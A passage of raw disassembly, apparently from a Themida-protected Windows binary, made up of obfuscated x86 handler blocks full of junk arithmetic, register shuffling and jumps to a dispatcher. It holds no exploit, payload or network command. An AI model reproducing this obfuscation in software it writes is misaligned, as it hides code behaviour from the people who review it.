--------------------------------------------------------------------------- loc_553306: ; CODE XREF: Themida_:005617A9j xor ecx, [esp] jmp loc_55C43C ; --------------------------------------------------------------------------- loc_55330E: ; CODE XREF: Themida_:0055FC2Cj push edx push ecx mov ecx, 743C1518h mov edx, 743C151Ch xor edx, ecx pop ecx jmp loc_5585F5 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] sub esp, 4 mov [esp], ecx jmp loc_556E4D ; --------------------------------------------------------------------------- loc_553336: ; CODE XREF: Themida_:00556C47j add ebp, 4 add ebp, 4 jmp loc_556EE7 ; --------------------------------------------------------------------------- loc_553344: ; CODE XREF: Themida_:00558612j add bl, 4Dh xor bl, 68h jmp loc_5525B2 ; --------------------------------------------------------------------------- loc_55334F: ; CODE XREF: Themida_:005555F6j mov ebx, 7D66C31h jmp loc_5622D1 ; --------------------------------------------------------------------------- loc_553359: ; CODE XREF: Themida_:00564817j xor bl, dl jmp loc_5505DB ; --------------------------------------------------------------------------- loc_553360: ; CODE XREF: Themida_:00556A74j push edx mov edx, 67B75155h or edx, 4D341D29h add edx, 8E551EAh and edx, 0FAA2D3Dh add edx, 5B9C4D5Dh add edx, 0F5B9F312h mov esi, edx pop edx dec esi push edi sub esp, 4 jmp loc_56294E ; --------------------------------------------------------------------------- loc_553391: ; CODE XREF: Themida_:00558E10j or bl, ch jmp loc_5581F9 ; --------------------------------------------------------------------------- loc_553398: ; CODE XREF: Themida_:00552504j add ebp, eax sub ebp, 8096CAFh add ebp, 1B33A08h mov eax, [esp] add esp, 4 push esi sub esp, 4 mov [esp], edx jmp loc_561116 ; --------------------------------------------------------------------------- loc_5533BE: ; CODE XREF: Themida_:0055A752j push ebp push esi jmp loc_55DFA7 ; --------------------------------------------------------------------------- lodsb push dx mov dl, 0E4h jmp loc_551FAC ; --------------------------------------------------------------------------- loc_5533CF: ; CODE XREF: Themida_:0055D77Cj sub ebp, esi pop esi add ebp, 0C16ED8F1h jmp loc_552386 ; --------------------------------------------------------------------------- loc_5533DD: ; CODE XREF: Themida_:0055BBE0j mov [esp], edi mov edi, 4 sub edx, edi jmp loc_56464D ; --------------------------------------------------------------------------- loc_5533EC: ; CODE XREF: Themida_:0055CE3Fj add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_55DCE0 ; --------------------------------------------------------------------------- loc_5533FD: ; CODE XREF: Themida_:0055961Fj push esi jmp loc_55A1CA ; --------------------------------------------------------------------------- loc_553403: ; CODE XREF: Themida_:00557E1Bj pop bx add bp, cx jmp loc_553DA6 ; --------------------------------------------------------------------------- loc_55340D: ; CODE XREF: Themida_:005619ACj xchg ebx, ecx dec ebx xchg ebx, ecx not ecx jmp loc_56026A ; --------------------------------------------------------------------------- loc_553419: ; CODE XREF: Themida_:005553C8j pop eax add edi, edx mov edx, [esp] add esp, 4 push 27B5h jmp loc_563432 ; --------------------------------------------------------------------------- loc_55342C: ; CODE XREF: Themida_:00561CB2j sub edx, ebp pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edi mov edx, [esp] add esp, 4 or ecx, ecx jz loc_552B14 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_55A3CA ; --------------------------------------------------------------------------- loc_55345E: ; CODE XREF: Themida_:0055D269j push esi push 56781354h mov esi, [esp] add esp, 4 xor esi, 267C6AB8h mov edx, esi pop esi push eax push ebp jmp loc_55E31A ; --------------------------------------------------------------------------- loc_55347D: ; CODE XREF: Themida_:00550D01j mov [esp], edx push eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_553487: ; CODE XREF: Themida_:00555DE7j add bl, cl mov ecx, [esp] push edi mov edi, esp push eax jmp loc_557B9C ; --------------------------------------------------------------------------- loc_553495: ; CODE XREF: Themida_:0055A550j mov edx, 1957F20h jmp loc_55B83B ; --------------------------------------------------------------------------- loc_55349F: ; CODE XREF: Themida_:00561163j mov edx, 38A1685Ah jmp loc_55982B ; --------------------------------------------------------------------------- loc_5534A9: ; CODE XREF: Themida_:0055BBBAj mov [esp], ebp mov ebp, 2FBB3B09h jmp loc_55E5E0 ; --------------------------------------------------------------------------- loc_5534B6: ; CODE XREF: Themida_:005634A1j pop ebp jmp loc_5587E2 ; --------------------------------------------------------------------------- loc_5534BC: ; CODE XREF: Themida_:0056553Aj pop ecx jmp loc_56259E ; --------------------------------------------------------------------------- loc_5534C2: ; CODE XREF: Themida_:00562BB6j jmp loc_550420 ; --------------------------------------------------------------------------- loc_5534C7: ; CODE XREF: Themida_:0055FCC6j xor edx, ecx pop ecx add eax, edx jmp loc_55B5C7 ; --------------------------------------------------------------------------- loc_5534D1: ; CODE XREF: Themida_:0055DBDBj sub eax, ecx mov ecx, [esp] add esp, 4 push 2A2Dh mov [esp], esi mov esi, 1FFE41C8h neg esi add esi, 442402BBh jmp loc_5601AB ; --------------------------------------------------------------------------- loc_5534F3: ; CODE XREF: Themida_:00559442j mov eax, [esp] add esp, 4 mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov ah, 0FFh add bh, 54h jmp loc_55A746 ; --------------------------------------------------------------------------- loc_553512: ; CODE XREF: Themida_:0056072Bj add esi, ecx jmp loc_560CAD ; --------------------------------------------------------------------------- loc_553519: ; CODE XREF: Themida_:00552A43j mov edx, [esp] add esp, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, 0B887661h sub ebx, 58EC78F9h add ebx, 0FD411DEh jmp loc_55ED4C ; --------------------------------------------------------------------------- loc_55354A: ; CODE XREF: Themida_:005522A9j mov edx, 2D4A1045h or ebp, edx pop edx sub ebp, 0B759BEA0h add edi, ebp pop ebp add ecx, edi jmp loc_557BC1 ; --------------------------------------------------------------------------- loc_553562: ; CODE XREF: Themida_:0055652Cj sub eax, esi pop esi sub eax, 150A1E4Fh add eax, edi jmp loc_5634EB ; --------------------------------------------------------------------------- loc_553571: ; CODE XREF: Themida_:00553F24j push ebx mov ebx, 4E1843B8h xor esi, ebx pop ebx dec esi add esi, 9AE17872h add ebx, 404A7045h add ebx, esi sub ebx, 404A7045h jmp loc_5583B5 ; --------------------------------------------------------------------------- loc_553594: ; CODE XREF: Themida_:00553BAAj add esp, 2 xor dl, 0A6h shl dl, 4 dec dl sub esp, 4 mov [esp], eax jmp loc_5586FD ; --------------------------------------------------------------------------- loc_5535AD: ; CODE XREF: Themida_:0055FECFj mov [esp], esi push eax mov eax, 7C33552Ah add eax, 39635E02h push esi mov esi, 6A225EFCh shl esi, 8 neg esi push ebp jmp loc_562EE1 ; --------------------------------------------------------------------------- loc_5535CC: ; CODE XREF: Themida_:00565BC5j push ecx jmp loc_550BED ; --------------------------------------------------------------------------- loc_5535D2: ; CODE XREF: Themida_:0055B2C1j mov eax, 4 add edi, 357E4BC8h add edi, eax jmp loc_55552C ; --------------------------------------------------------------------------- loc_5535E4: ; CODE XREF: Themida_:0056299Ej mov eax, 4 sub edx, 6E3C4A97h add edx, eax jmp loc_557997 ; --------------------------------------------------------------------------- loc_5535F6: ; CODE XREF: Themida_:0055B324j push edx mov edx, 1E34002Eh xor [esp+4], edx pop edx push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 jmp loc_55BA62 ; --------------------------------------------------------------------------- loc_553613: ; CODE XREF: Themida_:00552710j mov ecx, 0A6C5BA0h xor edi, ecx jmp loc_55BD02 ; --------------------------------------------------------------------------- loc_55361F: ; CODE XREF: Themida_:00559A6Fj push ecx mov ecx, 72974DCEh mov edi, ecx mov ecx, [esp] add esp, 4 jmp loc_551CE2 ; --------------------------------------------------------------------------- loc_553632: ; CODE XREF: Themida_:00565111j add esp, 4 xchg edi, [esp] jmp loc_55A4E1 ; --------------------------------------------------------------------------- loc_55363D: ; CODE XREF: Themida_:005517E4j push 2FF1h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push ecx jmp loc_55B93F ; --------------------------------------------------------------------------- loc_553658: ; CODE XREF: Themida_:0056343Dj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] xor [esp], al pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_553677: ; CODE XREF: Themida_:005625A6j mov ecx, [esp] add esp, 4 mov ah, dl jmp loc_56441C ; --------------------------------------------------------------------------- loc_553684: ; CODE XREF: Themida_:00565AD6j pop ebx push edx mov edx, 4 add ebx, edx push dword ptr [esp] pop edx add esp, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] add ebp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], edi jmp loc_564EE3 ; --------------------------------------------------------------------------- loc_5536C7: ; CODE XREF: Themida_:005593CCj push esi mov esi, 7EE267E7h sub esi, 52264B5h sub esi, 2F3E3618h add esi, 2D7DF49Bh mov ebp, esi mov esi, [esp] add esp, 4 jmp loc_565AB0 ; --------------------------------------------------------------------------- mov ax, [esp] push 1870h mov [esp], edx mov edx, esp push edi mov edi, esp add edi, 4 jmp loc_563581 ; --------------------------------------------------------------------------- loc_55370B: ; CODE XREF: Themida_:0055F03Fj not dword ptr [esp] pop ebp add ebp, 1 jmp loc_564D5A ; --------------------------------------------------------------------------- loc_55371A: ; CODE XREF: Themida_:005581B9j push esp jmp loc_55F640 ; --------------------------------------------------------------------------- loc_553720: ; CODE XREF: Themida_:00557410j add ecx, 178F1B37h sub ecx, 3954C983h add edx, 3ECA624Ah sub edx, ecx sub edx, 3ECA624Ah mov ecx, [esp] push ecx push esp jmp loc_56426E ; --------------------------------------------------------------------------- loc_553744: ; CODE XREF: Themida_:0055C9A4j push ecx not dword ptr [esp] pop ecx push esi mov esi, 48CD5428h add ecx, esi pop esi or ecx, 51DE0D2Fh jmp loc_55A355 ; --------------------------------------------------------------------------- loc_55375D: ; CODE XREF: Themida_:00564A5Ej sub eax, ebp sub eax, 5FEC3B6Eh pop ebp xor ebx, eax push ebx push 42F7h mov [esp], esp push esi mov esi, 4 add [esp+4], esi pop esi push dword ptr [esp] jmp loc_555720 ; --------------------------------------------------------------------------- loc_553783: ; CODE XREF: Themida_:00551D15j pop ebp add ecx, eax jmp loc_561DF9 ; --------------------------------------------------------------------------- loc_55378B: ; CODE XREF: Themida_:00562943j push ebp mov ebp, 1BE01C33h mov edi, ebp pop ebp add esi, 2207677Ah add esi, edi sub esi, 2207677Ah pop edi jmp loc_564B67 ; --------------------------------------------------------------------------- loc_5537A8: ; CODE XREF: Themida_:00564417j and dh, 0A7h xor dh, 2 jmp loc_55985E ; --------------------------------------------------------------------------- loc_5537B3: ; CODE XREF: Themida_:00559D7Dj push 15BBh mov [esp], ecx mov ecx, 72340BB6h shl ecx, 8 inc ecx jmp loc_5520DF ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 4 mov [esp], edx jmp loc_558A22 ; --------------------------------------------------------------------------- loc_5537D7: ; CODE XREF: Themida_:00565848j sub ebx, 369C1E21h sub ebx, edx add ebx, 369C1E21h pop edx mov ecx, [esp] jmp loc_5512FE ; --------------------------------------------------------------------------- loc_5537EE: ; CODE XREF: Themida_:005514B5j shl ebp, 8 xor ebp, 141C7FE8h jmp loc_557A42 ; --------------------------------------------------------------------------- loc_5537FC: ; CODE XREF: Themida_:00550540j mov bh, al jmp loc_565069 ; --------------------------------------------------------------------------- loc_553803: ; CODE XREF: Themida_:0055A548j add dword ptr [esp], 316E4D15h add [esp], eax jmp loc_5504D3 ; --------------------------------------------------------------------------- loc_553812: ; CODE XREF: Themida_:0055CBE3j inc ah add ah, 0E5h xor dl, ah pop eax jmp loc_558337 ; --------------------------------------------------------------------------- loc_55381F: ; CODE XREF: Themida_:00559AA9j mov bl, 29h add ah, bl pop bx mov dl, ah push dword ptr [esp] mov eax, [esp] jmp loc_557549 ; --------------------------------------------------------------------------- loc_553832: ; CODE XREF: Themida_:00562874j mov ebx, [esp] add esp, 4 pop edx sub [edi+24h], ebx mov ebx, [esp] add esp, 4 loc_553845: ; CODE XREF: Themida_:0055C8EFj push esi push esp pop esi add esi, 4 push ebp mov ebp, 4 sub esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ecx jmp loc_55F219 ; --------------------------------------------------------------------------- loc_553869: ; CODE XREF: Themida_:0055A80Ej sub eax, 6CD319C6h sub esp, 4 mov [esp], edx pop dword ptr [eax] mov eax, [esp] push edi jmp loc_565204 ; --------------------------------------------------------------------------- lodsb jmp loc_551329 ; --------------------------------------------------------------------------- loc_553885: ; CODE XREF: Themida_:005566A1j push ecx jmp loc_55B25F ; --------------------------------------------------------------------------- loc_55388B: ; CODE XREF: Themida_:0055E0E3j add dword ptr [esp], 4 push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 sub esp, 4 mov [esp], eax mov eax, 679941F8h push ebx jmp loc_55F9EF ; --------------------------------------------------------------------------- loc_5538B0: ; CODE XREF: Themida_:0055CBBDj pop eax or edx, esi pop esi or edx, 38F34114h push esi mov esi, 2D55227Bh add edx, esi pop esi add edx, 57D60239h xor edx, 52A9430h mov esi, edx pop edx and ecx, esi pop esi shr ecx, 0 or eax, eax jz loc_55070E sub esp, 4 mov [esp], esi mov esi, esp push edi mov edi, 4 add esi, edi pop edi jmp loc_55678A ; --------------------------------------------------------------------------- loc_5538F6: ; CODE XREF: Themida_:00557767j push dword ptr [esp] pop esi jmp loc_55D652 ; --------------------------------------------------------------------------- loc_5538FF: ; CODE XREF: Themida_:00551933j add esp, 4 pop ecx add al, dl jmp loc_55DC1C ; --------------------------------------------------------------------------- loc_55390A: ; CODE XREF: Themida_:0055E11Dj mov edx, 0BC26425h sub edx, 28D85675h jmp loc_55EAF2 ; --------------------------------------------------------------------------- loc_55391A: ; CODE XREF: Themida_:0055FD85j xor edi, [esp] mov esp, [esp] mov ebx, esi mov esi, [esp] add esp, 4 add edx, 41514422h jmp loc_5588D9 ; --------------------------------------------------------------------------- loc_553933: ; CODE XREF: Themida_:005625B4j pop eax not eax xchg eax, ebx jmp loc_55FA92 ; --------------------------------------------------------------------------- loc_55393C: ; CODE XREF: Themida_:00562675j and edi, 18DF1ADBh add edi, 0B99448C8h xor edx, edi pop edi add eax, edx pop edx sub eax, 1E883221h add eax, edi add eax, 1E883221h push esi mov esi, 11EB7139h push ebp mov ebp, 50165D32h jmp loc_559356 ; --------------------------------------------------------------------------- loc_55396B: ; CODE XREF: Themida_:0055C79Fj xor ebp, 57215165h mov edi, ebp pop ebp jmp loc_55DBD0 ; --------------------------------------------------------------------------- loc_553979: ; CODE XREF: Themida_:0055F749j pop ebp push edi mov edi, esp add edi, 4 jmp loc_562CC4 ; --------------------------------------------------------------------------- loc_553988: ; CODE XREF: Themida_:0055D701j mov al, bh pop ebx push edx mov dh, al mov bl, dh pop edx pop eax mov al, bl jmp loc_558FB1 ; --------------------------------------------------------------------------- loc_553999: ; CODE XREF: Themida_:00550B64j add edi, 11282567h pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_55D23B ; --------------------------------------------------------------------------- loc_5539B1: ; CODE XREF: Themida_:00558F70j push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], edx mov edx, esp add edx, 4 push ebp mov ebp, 4 sub edx, ebp jmp loc_563640 ; --------------------------------------------------------------------------- loc_5539E4: ; CODE XREF: Themida_:0055796Cj mov edx, 88CD881Dh sub eax, edx mov edx, [esp] add esp, 4 jmp loc_560854 ; --------------------------------------------------------------------------- loc_5539F9: ; CODE XREF: Themida_:00552AF3j pop edi push 6B15h mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] sub al, 17h sub al, bl add al, 17h mov bx, [esp] add esp, 2 sub esp, 4 mov [esp], ebx jmp loc_559D47 ; --------------------------------------------------------------------------- loc_553A2B: ; CODE XREF: Themida_:00563BF8j shl edx, 7 shr edx, 1 not edx dec edx jmp loc_5648B6 ; --------------------------------------------------------------------------- loc_553A38: ; CODE XREF: Themida_:0055BB52j sub ebx, 4F2A2FE6h pop esi sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_55D1E2 ; --------------------------------------------------------------------------- loc_553A50: ; CODE XREF: Themida_:00565A5Aj pop ebx push dword ptr [esp] pop ecx add esp, 4 push 3F61h jmp loc_559FE8 ; --------------------------------------------------------------------------- loc_553A62: ; CODE XREF: Themida_:00559826j xor ebp, ecx xor ecx, ebp xor ebp, ecx xchg ebp, ecx xor ebp, ecx xor ecx, ebp xor ebp, ecx xchg ebx, ecx not ebx xchg ebx, ecx xchg ecx, ebp xchg ebp, ecx jmp loc_552C1C ; --------------------------------------------------------------------------- loc_553A7F: ; CODE XREF: Themida_:0055C0E9j not edx xchg edx, ebx jmp loc_5579E4 ; --------------------------------------------------------------------------- loc_553A88: ; CODE XREF: Themida_:0055BB34j sub dh, 2Dh push eax sub esp, 4 mov [esp], ecx jmp loc_553DB9 ; --------------------------------------------------------------------------- loc_553A9A: ; CODE XREF: Themida_:00556A93j or edx, 22A71C49h sub edx, 0FA2837EBh add edi, edx pop edx mov eax, [esp] add esp, 4 push edx push 321Fh mov [esp], eax push edi jmp loc_5560BD ; --------------------------------------------------------------------------- loc_553ABE: ; CODE XREF: Themida_:00552068j add esp, 4 push ecx push esp pop ecx push edx mov edx, 4 add ecx, edx pop edx add ecx, 4 jmp loc_56439A ; --------------------------------------------------------------------------- loc_553ADB: ; CODE XREF: Themida_:0055BAFCj mov ecx, esp add ecx, 4 jmp loc_56160A ; --------------------------------------------------------------------------- loc_553AE8: ; CODE XREF: Themida_:00556932j push edx jmp loc_552A48 ; --------------------------------------------------------------------------- loc_553AEE: ; CODE XREF: Themida_:00554C9Dj sub bl, 0DCh jmp loc_551C1E ; --------------------------------------------------------------------------- loc_553AF6: ; CODE XREF: Themida_:00561B5Fj push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_56267A ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55B795 ; --------------------------------------------------------------------------- loc_553B13: ; CODE XREF: Themida_:00558721j add esi, ecx pop ecx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp sub edx, 2 jmp loc_559EC9 ; --------------------------------------------------------------------------- loc_553B2B: ; CODE XREF: Themida_:0055F82Ej mov ebx, 740B5117h push 2Dh jmp loc_55D9E8 ; --------------------------------------------------------------------------- loc_553B3A: ; CODE XREF: Themida_:00559143j pop eax xor edx, [esp] jmp loc_551668 ; --------------------------------------------------------------------------- loc_553B43: ; CODE XREF: Themida_:005520ADj add al, bl add al, 2Eh push small 4228h mov [esp], dx push 6F90h jmp loc_55B749 ; --------------------------------------------------------------------------- loc_553B59: ; CODE XREF: Themida_:00557951j inc bh sub bh, 49h add al, bh pop ebx add al, dh sub al, 0F8h pop dx sub al, bh push 0FEDh mov [esp], edx mov dl, 27h shl dl, 8 shr dl, 3 push eax jmp loc_5620E4 ; --------------------------------------------------------------------------- loc_553B7F: ; CODE XREF: Themida_:00558CF9j add esp, 4 push 76Ch mov [esp], ecx push eax push 18DC4868h pop eax add eax, 168E3494h mov ecx, eax pop eax jmp loc_551C7F ; --------------------------------------------------------------------------- loc_553B9E: ; CODE XREF: Themida_:00550BF1j mov ecx, [esp] add esp, 4 mov dl, ah mov ax, [esp] jmp loc_553594 ; --------------------------------------------------------------------------- loc_553BAF: ; CODE XREF: Themida_:0055AD13j push eax push esp mov eax, [esp] jmp loc_553273 ; --------------------------------------------------------------------------- loc_553BB9: ; CODE XREF: Themida_:0055B056j mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5641A4 ; --------------------------------------------------------------------------- loc_553BD0: ; CODE XREF: Themida_:005507E2j pop edx push ecx mov cl, 0A1h xor cl, 0F5h jmp loc_554B27 ; --------------------------------------------------------------------------- loc_553BDC: ; CODE XREF: Themida_:0055FB68j push ebp mov ebp, 339A3A6Fh jmp loc_552C0C ; --------------------------------------------------------------------------- loc_553BE7: ; CODE XREF: Themida_:005622AEj jz loc_55469E push 3784h mov [esp], ebx jmp loc_55201C ; --------------------------------------------------------------------------- loc_553BFA: ; CODE XREF: Themida_:0055F8A0j add ecx, 799655FDh jmp loc_558A28 ; --------------------------------------------------------------------------- loc_553C05: ; CODE XREF: Themida_:0055A741j pop eax pop dword ptr [esp] pop esp dec word ptr [esp] pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_553C14: ; CODE XREF: Themida_:0055C134j shl eax, 1 push esi mov esi, 613CFC02h jmp loc_55D898 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_550420 ; --------------------------------------------------------------------------- loc_553C29: ; CODE XREF: Themida_:00564524j mov esp, [esp] mov [esp], ecx push ebx mov ebx, 1Ch mov ecx, ebx jmp loc_55FBD7 ; --------------------------------------------------------------------------- loc_553C3C: ; CODE XREF: Themida_:00557522j add ebx, 4 push 665Ah jmp loc_5625AB ; --------------------------------------------------------------------------- loc_553C4C: ; CODE XREF: Themida_:0055CE61j add eax, 2 xchg eax, [esp] pop esp mov ax, [esp] push edx push esp pop edx add edx, 4 sub esp, 4 mov [esp], ebp push edx mov edx, 4 mov ebp, edx pop edx sub edx, ebp pop ebp xchg edx, [esp] pop esp mov [esp], ebp mov ebp, esp jmp loc_560FA3 ; --------------------------------------------------------------------------- loc_553C83: ; CODE XREF: Themida_:0055EA08j mov esp, [esp] shl edi, 8 jmp loc_555592 ; --------------------------------------------------------------------------- loc_553C8E: ; CODE XREF: Themida_:00564751j pop edi jmp loc_551938 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push eax push esp pop eax push 5549h mov [esp], ecx mov ecx, 228F79E0h push ebp mov ebp, 612F201Eh inc ebp push eax mov eax, 1EC31C7Eh add ebp, eax pop eax or ebp, 243F583Eh add ebp, 7AC127CCh sub ebp, 0EB0B6AE3h or ecx, ebp pop ebp push ebx mov ebx, 0A742D3h add ebx, 1A382378h shr ebx, 2 jmp loc_5627A3 ; --------------------------------------------------------------------------- loc_553CE1: ; CODE XREF: Themida_:005525A4j add esi, 2 xchg esi, [esp] pop esp test cl, al pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_553CF0: ; CODE XREF: Themida_:00565CC2j mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov fs:[edx], ax jmp loc_554E8C ; --------------------------------------------------------------------------- loc_553D07: ; CODE XREF: Themida_:00551B1Aj sub edx, 0ED31206Dh sub ebp, edx pop edx xor ebp, 0A8A4D31Eh mov edx, ebp pop ebp add ecx, 5980151h add ecx, edx sub ecx, 5980151h mov edx, [esp] add esp, 4 add ecx, edi sub ecx, 1EAB19E4h push dword ptr [esp] pop edi push ecx mov ecx, esp sub esp, 4 mov [esp], esi jmp loc_558CE3 ; --------------------------------------------------------------------------- loc_553D4A: ; CODE XREF: Themida_:005513F7j mov edi, 4 jmp loc_5515B4 ; --------------------------------------------------------------------------- loc_553D54: ; CODE XREF: Themida_:00551C7Aj push esi mov esi, 28E319EBh push eax mov eax, 44C23E1Fh xor esi, eax mov eax, [esp] add esp, 4 add esi, 1 push edi mov edi, 729D21D5h xor esi, edi pop edi dec esi jmp loc_558F90 ; --------------------------------------------------------------------------- loc_553D7A: ; CODE XREF: Themida_:00562B8Fj add esp, 4 push edi mov edi, 3B7E2C28h neg edi push ebp jmp loc_559D61 ; --------------------------------------------------------------------------- loc_553D8B: ; CODE XREF: Themida_:005521D7j push edi push 45131762h pop edi xor edi, 45131766h jmp loc_55FF75 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55A3FD ; --------------------------------------------------------------------------- loc_553DA6: ; CODE XREF: Themida_:00553408j mov ecx, [esp] jmp loc_55BB68 ; --------------------------------------------------------------------------- loc_553DAE: ; CODE XREF: Themida_:00556EB0j add ebx, 461F2A1Dh jmp loc_55A0B3 ; --------------------------------------------------------------------------- loc_553DB9: ; CODE XREF: Themida_:00553A95j push eax mov al, dh mov cl, al pop eax mov al, cl jmp loc_562466 ; --------------------------------------------------------------------------- loc_553DC6: ; CODE XREF: Themida_:00555330j add esp, 4 xor esi, 810423E9h add ebp, esi jmp loc_565601 ; --------------------------------------------------------------------------- loc_553DD9: ; CODE XREF: Themida_:0055E29Fj mov [esp], ebp mov ebp, 1FC021ABh xor ebp, 54454391h sub eax, 5C0B1D71h sub eax, ebp add eax, 5C0B1D71h pop ebp xor eax, 0B4FDED90h mov ecx, eax jmp loc_552B01 ; --------------------------------------------------------------------------- loc_553E00: ; CODE XREF: Themida_:00563485j dec edi shr edi, 8 inc edi sub edi, 0C00A9DE4h sub eax, 6B24FA0h jmp loc_559671 ; --------------------------------------------------------------------------- loc_553E15: ; CODE XREF: Themida_:00558D18j inc dl add dl, 3Ch add dl, 0D2h neg dl or dl, 13h jmp loc_55CEBA ; --------------------------------------------------------------------------- loc_553E27: ; CODE XREF: Themida_:005627F3j mov ebx, 6812004Ch xor edx, ebx pop ebx xor edx, 409A20ADh and ebx, edx pop edx not ebx inc ebx push edi mov edi, 4B7F5D39h dec edi sub edi, 6E286C8Ah not edi xor edi, 86D09646h xor ebx, edi jmp loc_5514A9 ; --------------------------------------------------------------------------- loc_553E57: ; CODE XREF: Themida_:005633DFj mov [esp], edi mov edi, 19A371CFh add edi, 336FEA3Dh add ebx, 6CC56BA6h sub ebx, edi sub ebx, 6CC56BA6h pop edi push ebx mov ebx, 7D7911ECh add edx, ebx jmp loc_552398 ; --------------------------------------------------------------------------- loc_553E81: ; CODE XREF: Themida_:005575B1j mov edi, edx jmp loc_552549 ; --------------------------------------------------------------------------- loc_553E88: ; CODE XREF: Themida_:00551549j push esi push 1F1E0877h pop esi push ebx mov ebx, 48716278h push edx jmp loc_5566D4 ; --------------------------------------------------------------------------- loc_553E9B: ; CODE XREF: Themida_:0055EC10j xor edi, 73FB6AB9h push edi mov edi, 4F9F7171h sub edi, 26835413h sub eax, edi pop edi add eax, 7D837BD7h add eax, edi sub eax, 7D837BD7h add eax, 291C1D5Eh pop edi push esi mov esi, 2 add eax, esi pop esi jmp loc_560A07 ; --------------------------------------------------------------------------- loc_553ED0: ; CODE XREF: Themida_:0056223Bj pop esi add esi, 344D76B3h mov ecx, esi jmp loc_562EC2 ; --------------------------------------------------------------------------- loc_553EDE: ; CODE XREF: Themida_:00551324j mov [esp], ecx mov ecx, 59FA113Dh and ecx, 7703440Fh sub ecx, 3316370h sub ecx, 0FFFFFFFFh add ecx, 1BD26A8Bh mov ebp, ecx pop ecx push esi mov esi, 6BBA5C31h xor ebp, esi pop esi inc ebp sub ebp, 0FAE45326h push esi mov esi, ebp mov ebx, esi pop esi pop ebp push esi mov esi, 772951B8h and esi, 3B807F23h jmp loc_553571 ; --------------------------------------------------------------------------- loc_553F29: ; CODE XREF: Themida_:00554A60j dec ecx not ecx xor ecx, 40B12218h push 6057h mov [esp], ecx jmp loc_55F98C ; --------------------------------------------------------------------------- loc_553F3F: ; CODE XREF: Themida_:0055B5ADj push 28E56396h pop eax add eax, 0FFFFFFFFh push edx mov edx, 2FF7C144h jmp loc_55C889 ; --------------------------------------------------------------------------- loc_553F53: ; CODE XREF: Themida_:00564EF4j add ebp, edi sub ebp, 653B6BF1h jmp loc_550FC7 ; --------------------------------------------------------------------------- loc_553F60: ; CODE XREF: Themida_:00559800j neg ebx not ebx push edi push ebp mov ebp, 28E161D9h mov edi, 6FF628E6h xor edi, ebp pop ebp and edi, 1AC14466h and edi, 0FF5211h shl edi, 3 push edi jmp loc_55DD29 ; --------------------------------------------------------------------------- loc_553F88: ; CODE XREF: Themida_:00553227j pop ecx xor esi, [esp] jmp loc_55B019 ; --------------------------------------------------------------------------- loc_553F91: ; CODE XREF: Themida_:0055D691j mov ebx, [esp] add esp, 4 shl edx, 3 jmp loc_5523B0 ; --------------------------------------------------------------------------- loc_553F9F: ; CODE XREF: Themida_:00551F83j push dword ptr [eax] jmp loc_550420 ; --------------------------------------------------------------------------- loc_553FA6: ; CODE XREF: Themida_:00564617j mov ebp, ecx jmp loc_561A4C ; --------------------------------------------------------------------------- loc_553FAD: ; CODE XREF: Themida_:0055ABF2j mov eax, [esp] add esp, 4 xor ebp, 14DA0C2Dh shr ebp, 7 jmp loc_552159 ; --------------------------------------------------------------------------- loc_553FC4: ; CODE XREF: Themida_:00550901j sub edx, 73D03DF9h shr edx, 7 jmp loc_56469C ; --------------------------------------------------------------------------- loc_553FD2: ; CODE XREF: Themida_:0055E2C8j mov [esp], edx push esp pop edx push ebx mov ebx, 62F67A2h jmp loc_551360 ; --------------------------------------------------------------------------- loc_553FE2: ; CODE XREF: Themida_:005570EAj mov [esp], ebx push 6454h mov [esp], edi mov edi, 77070156h jmp loc_5640C3 ; --------------------------------------------------------------------------- loc_553FF7: ; CODE XREF: Themida_:00563FF8j sub eax, 45D23EF3h mov esi, [esp] push esi mov esi, esp jmp loc_55F840 ; --------------------------------------------------------------------------- loc_554007: ; CODE XREF: Themida_:0055424Fj neg edx shl edx, 4 add edx, 6F90093Fh sub edx, 5FB32B52h mov esi, edx jmp loc_555A80 ; --------------------------------------------------------------------------- loc_55401F: ; CODE XREF: Themida_:00561731j push 4E89h mov [esp], edi mov edi, 425C5656h and edi, 50344784h push ebp mov ebp, 506207A0h add edi, ebp jmp loc_55F725 ; --------------------------------------------------------------------------- loc_55403F: ; CODE XREF: Themida_:00556FBCj push esi mov esi, 63D232E2h add esi, 9C2DCD22h add ebp, esi pop esi add ebp, 4 push edi push esp pop edi jmp loc_559C7E ; --------------------------------------------------------------------------- loc_55405C: ; CODE XREF: 